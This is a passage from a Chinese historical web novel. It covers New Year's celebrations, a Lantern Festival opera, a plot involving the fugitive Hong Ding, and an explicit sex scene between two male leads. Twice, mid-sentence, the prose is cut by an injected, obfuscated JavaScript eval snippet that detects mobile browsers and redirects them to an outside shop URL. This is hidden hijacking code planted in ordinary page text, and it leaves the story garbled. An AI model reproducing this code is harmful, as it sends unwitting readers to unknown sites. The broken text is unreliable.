承怡,只有印着你名字的债票拥有战争、挤兑、生与死试炼出来的信用,——不灭的信用。 它不会敛尽天下之财,它可以破除时间的限制,可以从虚无中变幻出财富。让大郑的子民,无论是王公权贵、富商巨贾,还是小民百姓都可以安稳度日。人们不会因为高昂银价卖儿鬻女,出手赖以生存的土地,质押先祖披荆斩棘留下的祖产。 待户部重塑税制,我将大郑的国税押给你。 发钞。 91. 番外·过年 91番外·过年 元熙十三年最后一天。 除夕。 今年尹明扬一家留在雍京,家中的护院将尹夫人千里迢迢的从云中接到雍京。赵毓一得信儿,连忙带着赵格非到尹家接驾。 一进屋,尹夫人见他来来,一把搂过他,“心肝儿,心肝儿,你怎么瘦了?你说说你,在雍京这个鬼地方,吃不饱也穿不暖,可怜见儿的。” 赵格非在赵毓身后进来,先是冲着尹明扬恭恭敬敬福了福,“外祖父。” 随后,尹夫人扔了赵毓,就把赵格非搂过去,“花骨朵啊,没娘的孩儿啊,跟着老爹没人疼,怎么瘦成豆芽菜啦。” 赵毓看了一圈人,问尹明扬,“桂宝儿呢?” “在明堂背书。” “呃,……”赵毓感觉莫名其妙,“今儿是除夕,他背的哪儿门子书?再说,……他,……” 尹徵断了一根手指,是考不了功名的。 话没说全,尹明扬却明白,“读书又不是为了考功名,他这辈子吃喝不愁,纨绔成性,多读几本书,让他不至于每日胡闹。” 赵毓,“呃,……” 虽然尹徵是他小舅子,可是毕竟是他老丈人的亲儿子,养不教父之过,桂宝儿亲爹管教严厉一些,旁人没有置喙的余地。 他们留在尹府吃中饭。 尹徵终于被放了出来,他看见赵毓过来,直接扑了过来,“姐夫,我到你那里住几天吧。” 没等赵毓回答,尹明扬在一旁端着茶盏咳嗽一声,“成何体统!” 尹徵不说话了。 尹夫人赶忙张罗开饭,她这次把厨子从云中一并带来雍京。 满桌子都是家乡菜。 酥肉做成酸辣甜口儿的,赵格非吃了四块,赵毓没吃别的,肚子中只装了一碗莜面鱼鱼。 尹徵吃饭的时候一直瘪着嘴,直到赵毓给了他一封红包,红色缎面小包里面是黄金打的十几个小元宝,他这才开心起来。吃完饭不用去背书,他拿着小红包用黄金小元宝到一旁自己跟自己打弹珠去了。 赵毓留在这里吃了饭,还喝了茶,这才带着赵格非告辞离开。 他们回了兰叶巷。 赵大爷和赵大妈和罗小草都开始包饺子了。 “老爷,留下吃夜饭不?”赵大妈一边说,手下却没有慢,“这是白菜猪肉馅的,咱们自己种的大白菜,又甜又清爽。” “不了,你们自己吃,多吃一点。我看小草好像长高了。” 赵毓说着,也给罗小草了一个红包,和尹徵的一样,罗小草拿过去,她看了看,问了一句,“能吃吗?” ——她不认识黄金。 “不能吃,吃了坠肠子,要死人的。”赵大妈说话的功夫又包了几个饺子,“老爷给的你就留着,攒攒,以后就是嫁妆。” “哦。”罗小草仔细收好,“谢谢哥哥。” 赵格非给她拿了两个小珠花,绑头发用的,罗小草十分乖巧的手下,也甜甜的说了一句,“谢谢姐姐。” 赵毓,“……” 他给赵大爷和赵大妈也发了红包,之后,他带着赵格非去了留园。 这里的白银起出去了,暂时也不能再做生意了,所幸他还有别的生意,所以这里的人都去别的庄子上干活了,只留下账房、大厨、园丁和看门护院的。 赵毓也发了红包,并且问了大家过年好。 他们爷俩从雍京北城到南城,转了一圈,做了散财童子,也拜了早年,终于在天黑之后回到禁宫。 赵毓先去寿春宫,崔珩也在。 太贵妃给了他们三个一人一个大红包,并且准备好了一大桌菜,也备了好酒,一家人热热闹闹的开始吃年夜饭。 这是赵格非第一次同宁淮侯同桌吃饭,感觉有些不太对劲。 虽然知道崔侯是她祖母的亲侄子,是他亲爹的亲表哥,可是这个人,……,怎么说呢,鬼狐妖媚的气息有些重。 还有,…… 赵格非还记得自己年幼的时候曾经从侯府门前走过。 敕造宁淮侯府在雍京。 它高高在上,直耸入云的墙壁似乎要刺破天际。 侯府面前那两个巍峨的大石狮子,白的寒光四射,让人晃眼。三间朱红色的大门紧闭,门板上的兽头现出锋利的獠牙,面对繁华的街景与高门下的那些芸芸众生。 这两种印象过于深刻,使她看到眼前这个安静吃饭的“表伯父”,感觉奇诡。 崔珩用筷子夹了一口鱼肉,忽然说,“大小姐,你看我做什么?” “怎么,碧子你脸上贴金,还不能看了?”太贵妃说着给赵格非夹了一筷虾仁。 “能看,能看,随便看。”崔珩忽然咧嘴,“反正我脸也不值钱,随便看。” 太贵妃知道他说怪话,原本没想搭理他,不过多年的传统也不能更改,于是就说,“我说碧子啊,你也老大不小的了,你看看你现在过的是什么鬼日子?你也学学承子,……,呃,你别学他,他从小没学好,到处鬼混,不过他再怎么着,也给我生了个大孙女。碧子,你是我们老崔家唯一的根,……” 听到这里,赵毓忽然想到罗小草说过她奶奶要把弟弟留着做种,忽然没憋住,喷了一口饭。 太贵妃瞪了他一眼。今年赵毓回来,太贵妃似乎感觉到自己有人撑腰了,于是继续对崔珩逼婚,“碧子啊,你也老大不小的了,也要想想自己的终身大事。前些日子我让承子去劝你,他还不肯去。你们两个,真是我前世的孽债,这辈子跑到我身边来折腾我的。” 崔珩看了赵毓一眼,赵毓让人拿过来草纸,把桌上自己喷的饭收拾下去,没看他。 没等宁淮侯翻脸,赵毓把碗一撂,“娘,再多说一句,今天我掀桌子了啊。” 太贵妃狠狠剜了他一眼,转开就是明天她这寿春宫种什么花了。 吃完饭,赵格非留在寿春宫陪太贵妃守岁。 崔珩出宫回侯府。 赵毓跟着崔珩向外走。 “我给你再找几个人。”崔珩忽然说,“你现在把雍京城割了一遍,其中有心黑手狠的,我怕你吃亏。” 赵毓看了看他。 “不用?” “嗯。”赵毓,“我身边人手足够,你别担心。那些人最好守着你,你别出事。” “他们知道你我的关系吗?” “就要瞒不住了,这又不是什么难查的事情。”赵毓说,“他们健忘这么多年,我也觉得挺有趣的。” 尹氏女曾嫁王侯。 人们太容易遗忘,这是好事,不然,活得越久,背负的越多。 可是,有些回忆还是一直铭记比较好。 赵毓送走崔珩,就折返回皇帝寝殿。 文湛在看书。 赵毓看了看钦天监特制的铜钟,“我没晚吧。” “没有。”文湛把手中的书放下,“刚刚好。” 黄枞菖将刚出锅的饺子装在玛瑙金箔做釉烧制的瓷盘中,端过来。 十四年来,这是赵毓在雍京过的第一个年。 这些年兵荒马乱的,他又不是讲究的人,除了去年过年在云中好好呆了呆之外,其余的时间,不是在打仗就是在走私。 而且西疆那个地方部族多,信仰多,很多人根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728949|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过年。 大郑的军人倒是要过年的。 久而久之,那些部族也摸到了规律,专门等到除夕初一的时候偷袭。再久而久之,郑军这方也不过年了。 赵毓多年没有按时吃过除夕的饺子。 “今年宫里你也没叫戏班进来。”赵毓一边吃一边问,“往年你们都是怎么过年的?” 黄枞菖又端来一盘。 文湛也开始慢慢吃起来,却没有回答方才赵毓的问题。 往年过年? 好像,那年在东宫,他和他在一起过年之后,文湛再也没有过年的想法了。这些年除夕,他一直在微音殿,看完奏折就练字,练完字就看奏折,如果都腻了,就看书,再腻了,就从微音殿看外面的太液池。——冰封的水面,仿若心境,很是应景。 忽然,雍京城响起暮鼓晨钟。 子夜了。 赵毓,“你困吗?” “不困,怎么?” “咱们去潭柘寺。”赵毓喝了一碗饺子汤,肚子鼓鼓,全身发暖,“你一定不知道今天雍京不宵禁,很多人赶着过年去抢头香,咱们也去凑热闹。” “佛家没有头香这一说。”文湛,“供养佛、法、僧三宝所获功德的大小,不在于供养物的贵贱多寡,高香和头香都不对。” 赵毓,“你又不是大和尚,你是帝王啊,老百姓信的东西,咱们就信。走,去看看。” 山路一盘一盘的,潭柘寺在尽头。 这里很古老,俗话说先有潭柘寺,后有雍京城。 信徒香客,络绎不绝。 他们两个爬山上来,寺庙大门洞开,人来人往却极安静。 雄浑的钟声未曾间断。 赵毓进山门,就看见一个年轻的大和尚,身披破棉袈|裟,站在大钟之前,一脸生无可恋的模样,行当一天和尚撞一天钟之事。 赵毓高声喊了一句,“老二!你怎么在这里?” 大和尚正是前宁王摇光。 他将手中的大木头放平稳,使之不再撞钟,他先对着赵毓身后的文湛起手一揖,随后以一种生无可恋的声调对赵毓说,“祈王爷送上山门的银钱过于厚重,也过于罪孽深重,我到这里来散一些功德,也好为陛下祈福。” 赵毓当时从他的空境寺借了二百万两的白银,如今不但本金奉还,还给了一些利钱银子,不过,这利钱银子有一点多。 赵毓被他气笑了,“老二,你散的什么功德?” “饺子。” 赵毓和文湛跟着摇光向后走,那边有一棵巨木柏树,比雍京还要古老,它的周围是空地,一口大锅架于火上,滚滚之水中沸腾着诸多胖大白皙的水饺。本寺的方丈亲自掌勺,把一份一份饺子依次倒进信徒们自带的碗中。 “什么馅儿?”赵毓感觉又饿了。 摇光道,“油豆皮,蘑菇,粉条,烟笋,木耳,胡萝卜还有南方新到的莲藕。” “来一碗。” 这里没有碗,只有钵。 赵毓捧着一个钵,蹲在高大的柱子一边,小心吃着饺子。 摇光还让小沙弥给他弄了点醋和香油过来。 文湛感觉赵毓这个姿势着实不雅,他实在做不出来,于是就站在他身边,给他端着一钵饺子汤。 摇光命他的弟子继续去撞钟,毕竟,再如何的不愿,自己还是大和尚,当一天和尚就要撞一天钟。 寺庙两口大钟犹如高山。 上面刻着字,千年来的风雨已经模糊了古老大钟的纹路,这几个字却依旧清晰。 一个上面刻着“海清河晏”,另外一个则是,——“国泰民安”。 92. 92 92 元熙十四年,正月十四。 雍京北,谢翾飞别苑。这是一座荒凉的犹如《聊斋》中狐狸坟茔一般的园子,它坐落在洛山脚下,周围景色壮美,显示着天公这个神匠不凡的技艺。 春夏雨水多的季节,从这里可以看到山顶飞流直下三千尺的瀑布,如今隆冬正月,这流水是看不到了,人站在洛山脚上,抬头,几乎昂折了脖子也就能看到巨大的冰柱倒悬于高山之巅。 谢府别苑中有一间木舍,厚重的雪压在顶部,像一团新出蒸笼的包子。 木舍中没有任何桌椅,事实上,这里没有东西。地板上铺着一层龙骨,其上再压一层厚实的松木。 赵毓和谢翾飞一个人一个蒲团,他们端正坐好,正在闭目冥想。 旁边一个小童,正在用静谧的声音念着《道德经》——金玉满堂,莫之能守;富贵而骄,自遗其咎。 还有熏香,——冰片加上茶花的味道,让木舍中充斥着提神醒脑之外,还有一丝芬芳。 一个时辰。 两个时辰,…… 有人开始打呼噜。——呼,zzzz~~~~~~~~ 忽然,一把戒尺劈空而落,——直接砍在赵毓右肩膀和脖子之间最厚的那块肉上! 赵毓双眼圆睁。 他费尽全部力气,才没有把更加丢脸的那一声“啊!”喊出来。 这一把戒尺暴击犹如醍醐灌顶,赵毓动了动脖子,顿时觉得木舍因为门窗不严而灌进来的西北风都像是无穷无尽的真理和警世名言,当然,这些东西出自谢翾飞老爹谢冬荣那颗智慧的头颅中。 谢冬荣手持戒尺,站得很直,他居高临下看着赵毓急忙调整坐姿,片刻之间,赵毓就从一个坏学生成为了一个苦修者。 傍晚。 谢翾飞把赵毓从蒲团上扯起来的时候,他们两个成了一对儿瘸子。 “父亲说你今天清醒了三个时辰,令千金这个学生他收了。至于另外一位罗小草姑娘,则因为底子太薄暂时无法跟从我父亲读书。她可以先入我们家学启蒙,以后看看资质和用功程度再说。” “翾飞,你救了我一条命,胜造七级浮屠。”赵毓伸手敲打自己僵硬的腿,“令尊大人以酸儒那一套测试我的定力,实在太狡猾了。” “我父亲毕竟是儒生,再怎么离经叛道,也顶多到’知行合一’这一步,再往外,他就需要好好想想了。” “我知足。令尊大人毕竟不是走一步摇晃三次,甚至逃命也四平八稳踱着四方步的那种酸秀才,我知足,特别知足。” 谢翾飞,“赵兄,您这三次知足,好像很言不由衷。” 赵毓连忙打哈哈,“哪有的事儿?” 这是赵毓在谢翾飞的第三天。 第一天,赵毓在谢冬荣以一种老二摇光那种生无可恋的语调幽幽讲述着“盖天下之大利,莫如定;其大害,莫如争。”的时候睡过去了,于是,他直接被扫地出门。 第二天,谢冬荣讲述的是“官无常贵,而民无终贱。”赵毓能勉强支撑过一个时辰。第二时辰,谢先生又开始“定之以天,争乃不生”了,周公不可一世般的降临尘世,将赵毓抓去下棋。他觉得以后要是有空,一定要把谢老先生扯上空镜寺。谢东荣与摇光双“生无可恋”对阵,不知输赢胜负。 第三天,谢冬荣自己放水。他只让赵毓与谢翾飞枯坐冥想,如果此次赵毓能挺过去,他就收下赵家的那个姑娘做女弟子。赵毓勉强不负所望,终于谢东荣收下了赵格非,并且让她一开春就到他的书斋去读书。 赵毓跛着脚上马,还没坐稳,双手一扯缰绳,策马回城。 下山之前还要趟过一条河,雍京北边这里遍布温泉,溪水流淌出地面还带着水雾,在被厚雪覆盖的河滩上竟然造出了一种冷酷仙境的幻觉。 河水旁是千树白梅。 赵毓抽出腰间佩戴的胁差,直接斩落一束白梅,用披风小心裹住,带回大正宫。 在这条河不远的地方有一个村落,很小,甚至没有正式的名字。它在雍京向北延伸的要道之上,南来北往在这里歇脚的人很多,他们都管它叫做“肥肠村”。村口有个老头儿在自己三间破瓦房前面支了口锅,每天熬煮两锅肥肠。可以配汤面,也可以和米饭,还可以就着馒头大嚼。 程风要了一碗肥肠面,吃饭的时候,他的一只手一直紧紧抱着怀中的包裹。等他吃饱之后,放下十个铜板,左右看了看,见没人注意到他,他这才略微安心,拎着包裹继续赶路。 ——“程风,没用。他们官官相护,你赢不了。” 耳边又响起来昨晚那个异族人的警告。那个人戴着风帽,站在破庙廊檐的阴影下,像个噩梦中出现的幽魂。 他的脸消瘦而冷硬,还有一双蓝色的眼瞳,如同坟地上的鬼火一般燃烧着。——洪丁,一个从西疆逃过来的人,未死的怨鬼。 “我知道你包裹中冤状上的人是谁,如果你想扳倒他,只有一个办法,……” “把事情闹大,越大越好。” “明天就是上元灯节。” “这是你唯一的机会。” 程风看着眼前,大路已经封冻,尽头就是雍京城。 大正宫。 夜里又开始下雪。 从去年开始,尤其是从去年夏天开始,雍京的雨水不要钱一般的狂洒,事实上也的确不要钱。幸亏这里的河道不是很多,如果这样连绵的雨水泼洒在云中,整个黄河都要愤怒了。 入冬之后,雪开始代替雨,持续覆盖雍京及周围的土地。 ——瑞雪兆丰年。 大家都这样期盼着。 赵毓捏着白梅花枝进的寝殿,“我走了七八天,你们这个年过的怎么样?” 文湛,“还不都那样。幸好,今年不用掰着手指数着你回雍京的日子。胳膊怎么了?” 清早赵毓被谢冬荣那一戒尺打过的地方有些疼。寝殿中烧了地火,熏炉中燃着上好的木炭还有熏香,不冷。文湛解开赵毓的棉袍领口,敞开上身,这才看到他的肩膀有些青肿。他让黄枞菖端过来药膏,给赵毓揉捏上药。 文湛秀致的眉皱了一下,“戒尺?” 赵毓,“谢老头儿性格古怪,不闯过他这一关,格非和小草都没书读。” 文湛,“换先生。现在雍京读书人有的是。” 赵毓摇头,“别的先生只教女则女德,把好好的一个大姑娘养的像被阉割的骡子,残阵剩饭、干草料都吃得下去。哦,这么说也不对。骡子天阉,真没挨过那一刀儿。这里我是说性子,要是姑娘真成骡子了,估计连口干草料都吃不上了。谢老先生虽然性格古怪,可是这也是一个好处,就这个好处,让我再跑过去程门立雪也值得。” 文湛见他不在乎,忽然低头,在赵毓另外一个的肩膀上咬了一口。 “啊!” 鹧鸪殿的温泉中,水雾像屏障一般,将汉白玉垒砌的水池与外人间隔开来。 赵毓手脚缠在文湛身上,被他托住腰身,起落沉浮。白梅的花枝被赵毓攥在手指尖,绞扭着,馥郁的幽香随着热水暴烈的飘散开来。 “轻点儿,……,这才几天不见,怎么像头饿狼?” 文湛的手指重重碾过赵毓的嘴唇,红艳艳的,像是熟透被捣烂了的樱桃,似乎封入坛中放一放,就是最好的樱桃酒。 贪婪的亲吻持续着。 终于到了最后。 赵毓喘了半天,才有力气说,“明天是正月十五,南城朱雀大街上有灯会,咱们去看看?” 他的声音带着嘶哑和慵懒,还有耳鬓厮磨的火热,——像火种,一下燎起荒滩上的烈烈之火。 赵毓就像一张宣纸,被人恣意挥毫泼墨。 一笔一笔。 刚则铁画,媚若银钩。 次次力透纸背。 赵毓脑子都是浆糊了,还不忘明日是上元灯节,他用力向旁边歪了歪头,躲开浓烈的亲吻,才能在夹缝中问一问,“灯会,去,……,不去?” “听你的。”文湛的声音,如同火焚。 赵毓的手指抓的有些过分,将白梅花枝扭断了。 第二天一早,他听见文湛起身,迷迷糊糊的问了一句,“没有朝会还起这么早?”没人回答他,就是有人把他的被子压了压。 赵毓真正醒过来的时候,先是觉得香,他起身,用手指把双眼支撑开才看清楚,——殿内有一个大铜暖炉,它旁边是一个修长的银瓶,里面插满了白梅,像雪一样白,也像雪一样冰,花瓣都是透明的,却被炭火催生了幽香,顺着暖意,向赵毓这边徐徐飘来,他不禁打了个喷嚏。 赵毓,“怎么有这个?” 文湛把衣服给他披上,“御园里面种了几株,你许久没去逛过,所以没注意。你要是喜欢,我天天给你剪几枝。” 说着,文湛把拿过来的花枝放在赵毓手中。赵毓摘了几朵白梅,顺着文湛的脖子,锁骨,还有胸口一直揉,梅花被揉碎了,零落成泥碾作尘,馥郁的香气比方才更甚。文湛翻身压住他,他还在笑,微微昂着头,叼住文湛的下巴,轻轻的牙齿痕迹让皇帝那张如同玉雕的面皮显出难以置信的人间烟火气。 折腾,胡乱的瞎折腾,似乎要把这些天的分离一鼓作气碾碎了。 结果,他们两个这一折腾,就是两个多时辰。 柳丛荣见他们完事,连忙摆饭。 文湛用的是肉末烧饼和肉粥。 赵毓是豆汁儿。 原本拎过来的豆汁儿都凉了,焦圈儿也皮了。赵毓还是挺喜欢吃这些玩意儿,没让撤,只是让柳丛荣把豆汁儿热了热,焦圈儿也不用回锅,直接就着吃就好。 小炕桌放在赵毓身边,他就半躺的姿势开始进早膳。这白梅和豆汁儿的味道混杂,也是一景。这味道不能仔细闻,不然非能品味出人生寂寞如雪不可。 北镇府司。 过去的元熙十三年对于梁十一来说,就是一残废年。 先是他误信加茉险些伤了赵毓和宁淮侯,为此,他得了百两黄金和一顿板子。 紧接着,他因为看管诏狱不牢,让重要人犯被人杀死,随后凶手被杀,这一系列的失职让他将北镇府司拱手相让给宁淮侯崔珩。崔珩用人完全不讲情义。镇抚司到了他手中,就是一把打磨到锋利无比的割喉刀。他们的确建功立业了,将西疆那些狼子野心的东西在雍京城的明桩暗桩拔了十之八|九,可是,当宁淮侯将缇骑归还的时候,镇抚司弟兄们也损失了十之五六,残废了。 如今梁十一在自己的地盘看着宁淮侯府派过来的副将送过来的“人证”,都有些心惊胆颤的。 因为,此人已经不能用残废来形容了。 梁十一,“这是,……,啥?” 即使他本人掌管诏狱,可是把“人证”折磨到这步田地,尚且还能留一条命的本事,梁十一今天算是头一次见。 崔珩的副将说,“这是景沢,他同倭寇和西疆人洪丁都有勾结。” 梁十一,“为什么弄成这样给我送过来?” “侯爷已经把最重要的口供问出,他想问问梁大人,可还有什么想要补充的?” “我到没有什么想问的,不过,……”梁十一,“侯爷问出来什么重要口供?” “据景沢招供,洪丁在上元灯节这一天到雍京。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728950|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔珩的副将声音沉稳,“这天南城朱雀大街上有灯会,到那时万人齐聚,如果有什么不测,后果不堪设想。梁大人掌控北镇府司,职责所在,请大人早做筹谋。” 梁十一点头,“这是自然。崔侯今天去哪了?如果他有空闲的话,还请将军代某问一句,侯爷是否愿意再帮下官一次?” “侯爷今天有重要事情要做。梁大人,实在抱歉了。” “哦,做什么?” “票戏。” 梁十一,“……” 元熙十四年,正月十五,上元灯节。 朱雀大街上筑造百尺高的戏台。今天雍京城有名的戏班都到这里,上台的都是名角,大郑全境的戏像排了队的皮影,一个挨着一个的亮相。今天的武戏多,文戏少。那些文人墨客喜爱的拗口文雅的昆腔则是天山鸟飞绝,令观众只能看唱腔不能看脸的老旦更是万径人踪灭。 正月十五雪打灯。 戏台上先是齐天大圣开场。 开锣之后,伴随着霰雪覆盖朱雀大街的还有万盏花灯。 接着是水漫金山。大家喜欢看刀马旦,尤其是腰肢纤细的刀马旦。戏台上的白蛇青蛇翩若惊鸿,婉若游龙,手中的软剑犹如一道白虹。 赵毓站在台下,也随着叫好。 他刚拍完巴掌,就看见旁边站着一个小伙子,手中一个稻草扎的堆,上面插|满了红果做的冰糖葫芦。 “小哥,来两个。” 付完铜子儿,他接过冰糖葫芦,分了一个给文湛。 此时,台上忽然放起烟花,炸到夜空上,半边天幕的璀璨。 轰隆隆! 今天重头戏,吉祥班的台柱子登场。台上出将入相,台下议论汹汹。 “这戏看着有些眼生,怎么从来没见过?” “这是京城第一戏班新排的折子戏。我听老白说了,老白你不认识,那是四九城第一名票儿!” “吉祥班那是多大的谱儿,人家不唱堂会,就连徽郡王下帖子都请不去。您问我怎么知道的?我们胡同后面的小韩他姥姥的侄儿是郡王府种花的,他说的。” 戏台上一个小童举着牌子出来,上面写着这出戏牌——林黛玉拳打鲁智深。 众人,“这个……” 赵毓也看见这个戏牌了,“这个林黛玉怎么拳打鲁智深,比写字还是比绣花?” 文湛正在吃一个红果,上面的冰糖裹的的确不错,咬起来脆生生的。 赵毓扒在文湛耳边,特别轻的说,“林姑娘写字绣花都能退敌,这跟咱们朝上那些大人们一样。他们一个一个的比赵括都牛,口灿莲花,以为口诵圣人言语,一手锦绣繁花一般的文章就能退敌百万雄兵。下次,北疆再出事,就找个文官过去,给他一本《论语》,让他在阵前用老二那种生无可恋的语调念经去,看他能不能恢复河山。” “不好。”文湛摇摇头。 “《论语》是我华夏千年瑰宝,退不退敌另说,没准能把敌给召回来。”文湛嚼完了红果,满嘴甜津津的,“下次再有战事,谁要是在朝堂上满嘴的’我泱泱天|朝,以德服人’,我给他找本《中庸》,让他到战场念经去。” 周围人多口杂,他们不能多说,声音不能高,就是亲密密的咬耳朵,不过赵毓听了笑的差点岔气。 文湛再加了一句,“用朱熹批注的那一本。圣人笔迹临世,没准就显灵了。” 这一次,赵毓笑的开始肚子疼了。 咚咚锵! 一阵子紧锣密鼓,角儿绕戏台一周,亮相! 赵毓仔细看了看,“这个鲁智深还挺俊秀的。” 旁边有人看了他一眼,“您必定不经常看戏,这不是鲁智深,这是林黛玉。” “林黛玉?”赵毓一乐,“这位林姑娘吃了天桥底下卖的大力丸了吧,怎么长成这幅尊容?” 扮这个青衣刀马旦的一看就是个男人,还是个不像演旦角的男人。都不要说娴静似娇花照水,行动似弱风扶柳的林黛玉,他连梁山好汉孙二娘都演不来。全身上下唯一可取的就是他的脸。——真俊啊! 不一会儿,鲁智深也出来了。 果然,这个鲁智深身高八尺,膀大腰圆,是个标准的武生。 伴随着鼓点和铜锣,林黛玉和鲁智深开始对打。 姿势那叫一个漂亮! 招式那是一个干净利索! 众人叫好声似乎可以把整条朱雀大街掀翻! 赵毓,“这个林黛玉,怎么看着有些眼熟?” “还能是谁?”文湛看了一眼台上,“不就是那位崔姓三等侯?” 要说票戏,宁淮侯崔珩才是四九城第一名票儿,当然,那已经是十多年前的事了。 崔珩天生精通乐理,脸长的也好,只要他不扮林黛玉、杜丽娘,弄个柳梦梅什么的,还是能骗些玉翠珠宝、真金白银的。 武戏打完。 紧接着就是文戏。——这回到不是石头记了。 崔珩一亮嗓子,还真能绕梁三日。顿时,朱雀大街像被戏台被打开一个巨大的洞口,细雪下,那里演绎着缠绵悱恻的葬花词,当然,如果忽略了台上那个强壮到能一把倒拔三里桃花林的“林黛玉”更好。 因为,此时“她”正在皱眉捧心,唱着“奈胭脂不上书生面,都将来撒在洛河边,恰便似天台流出桃花片”。这是刘阮入天台的典故,用的却是三月三日桃花遍地的美丽景象,让上元灯节也点缀上了无限春|光。 周围叫好的声音如同浪潮,此起彼伏。 众人欢腾的时刻,却不知道,朱雀大街冰挂树影之下,一个人一双暗蓝色的眼睛,鬼火一般看着世人。 93. 93 93 洪丁裹着披风,将风帽压到最低,随着人群慢慢向北走。 此时,与他擦肩而过的正是北镇府司的梁十一。 梁十一站在朱雀大街上,看着汹汹人群,他忽然明白了,——崔珩让他做的事情几乎无法完成。 整条街上有大约五万到十万的人,在这茫茫人海中找西疆人洪丁,即使此人有一双鬼火一般的眼睛,也犹如大海捞针。并且雍京城居住着一些西疆各部族的人,他们并没有稀少到老百姓只要看一眼他们那对蓝色眼珠子就像活见了鬼一样。所以,洪丁更容易隐藏。 事实上,一个时辰之前,他刚在西疆人聚集的雍京西市撒过网。 一无所获。 雍京北城权门林立,高门大户、威风凛然;南城都是舞榭歌台、温柔乡英雄冢,各有千秋;那么如果有人问,雍京那里的货物最全,那就只有雍京西市。 这里什么都有的卖,——从鸦片到葱蒜。 只要有钱。 梁十一带着人在西市最破烂的地方,走了整整一条街。这里臭气冲天,要不是今天下了雪,这里简直要熏死活人。不过,下了雪,那些低矮破烂的屋子外面就有路倒了。原本一个大活人,此时像个窝起来的虾米一样,蜷缩在一块,头颅很低,压在膝盖里面,一动不动。 前面有个戴着毡帽的老头儿,正拉扯着一个十岁左右的半大丫头。 这个女孩子的另外一只手后面拖着一个女人,她蓬头垢面,瘦小枯干,眼看着手中的孩子就要被扯走,她连忙匍匐在地上,用自己还不如一筐白菜重的身体坠着,不让人把她孩子拉走。 梁十一原本不想管,因为此时他还有重要的事情需要去做,并且,——眼前这三个人,都是蓝青色的眼睛珠子。 ——异族人。 再悲惨,也是他们的事,少掺和。 可是,…… 梁十一现在都不知道自己当时是怎么想的,伸手扯住那个半大的丫头,一下子揪了过来,“青天白日的,你敢强抢民女!” 那个老头一脸的风霜雕刻出来的油滑和狡诈,他一看梁十一,虽然不知道他是什么来头,也本|能的知道自己惹不起,于是连忙把那张凶恶的脸上贴上一层良善的皮,“这位大爷,您是看中了这丫头吧,这丫头长的好,您看看,这牙口也好。年纪小,人嫩,用起来也舒爽。” 梁十一瞪了他一眼,一转手把丫头推给地上趴着的女人,那姑娘叫了一声“你那”。他听不懂,不过他知道这孩子是在叫“妈”,心中有一个念头一闪而过,——大家都是人,都是人生父母养的。 “怎么回事?” 那个女人会说雍京话,“我们欠钱。” “欠多少?” “十吊钱。” 梁十一从腰间摸了一小块碎银子,扔到贪婪的老头儿面前,“才十吊钱就想抢人家姑娘出去卖,你真不怕遭报应。” “爷是富贵人,您不懂。”那人跪在雪地上,把碎银捡起来,“现在女人不值钱,去年银价高的时候,一两银子三丫头,能签生死契,随便打骂,随便弄,死了再换。如今银价下来了,一两银子也能买一个丫头,这个价格指的还是郑人的女子,她们贵,因为能生孩子。像我们这边的姑娘,不让生孩子的,卖的更贱。” 西疆这几个部族的人也是邪门,一对青蓝色的眼睛珠子,女人无论和谁,生的孩子都是浅色眼珠子。 郑人怕混淆了祖宗血统,一般这样的孩子都不敢让见天日。 梁十一不想再同那个老头儿说话,直接骂了一句,“滚!” 那个女人从地上起来,梁十一也掏给她一块银子,女人摇头,不要,“贵人,这是您的好意,我们不应该推辞。只是它实在给我们招祸,我们不能要。” 梁十一也没有硬塞,“大嫂,我怕那个恶人再回来找您麻烦,您带着闺女先搬到别处躲躲?” 女人紧闭着嘴,摇头,“在这里,我们能活,外面,活不了。” 她是被自己人从西北卖进雍京城的,主人家对待她不像对待活人。那种日子过了也就三年,她落下一身病还有一个孩子。主人家原本想弄死这个孩子,是她自己拼了命抱着孩子逃了出来,隐在雍京西市。这里再艰难,好歹母女两个有口饭吃,能活。 梁十一,“您因为什么事过不去了,欠这种阎王债?” 女人嘴唇干枯,“交税。” 梁十一,“大嫂,我没恶意,咱们打开天窗说亮话,我看您不是逃妾就是逃奴,连黄册都没有,官府平时也找不到您,万一找上门,您不赶紧躲不赶紧逃,上赶着交什么税?” “官府收不到我们头上,可是顺天府能找覆罗古收。”女人说话都开始哆嗦,“他更狠。” 梁十一知道自己什么都帮不了,他拿着碎银子买了一些炸饼、还有两碗肉汤递给母女两个。 此时,他也的确无法再耽搁,领着他的人马继续向前走。 “头儿。”手下一个人说,“你有的时候这个善心,那是摁都摁不住。” 与此同时,在门板后面,有一双老妇的浑浊的淡色眼睛看着梁十一他们。 “外面怎么这么闹?”洪丁问老妇。 “没事。”老妇警觉的四下瞅瞅,“覆罗古当街拉扯孩子抵债,被过来巡街的官差给收拾了。” 洪丁,“官差杀人?” 老妇,“不是,官差给了他银子,叫他滚了。” 洪丁一脸冷笑,坐回桌子前面,继续吃他的饭,——一碗热汤,一个烤饼。 他们这个房子是这一带唯一像样的房子。这里有一个仿若炸糕一样的屋子,一个不大的院子,院子中还种着一棵核桃树,旁边是一个小鱼池。 天空下来的雪,充满诗意却残忍的覆盖了这里,池水已经结冰,鱼很美,颜色鲜亮,鱼鳍纤毫毕现,一动不动,因为它们直接冻死在水中了,估计可以维持这样的艳丽,直到冰雪融化。 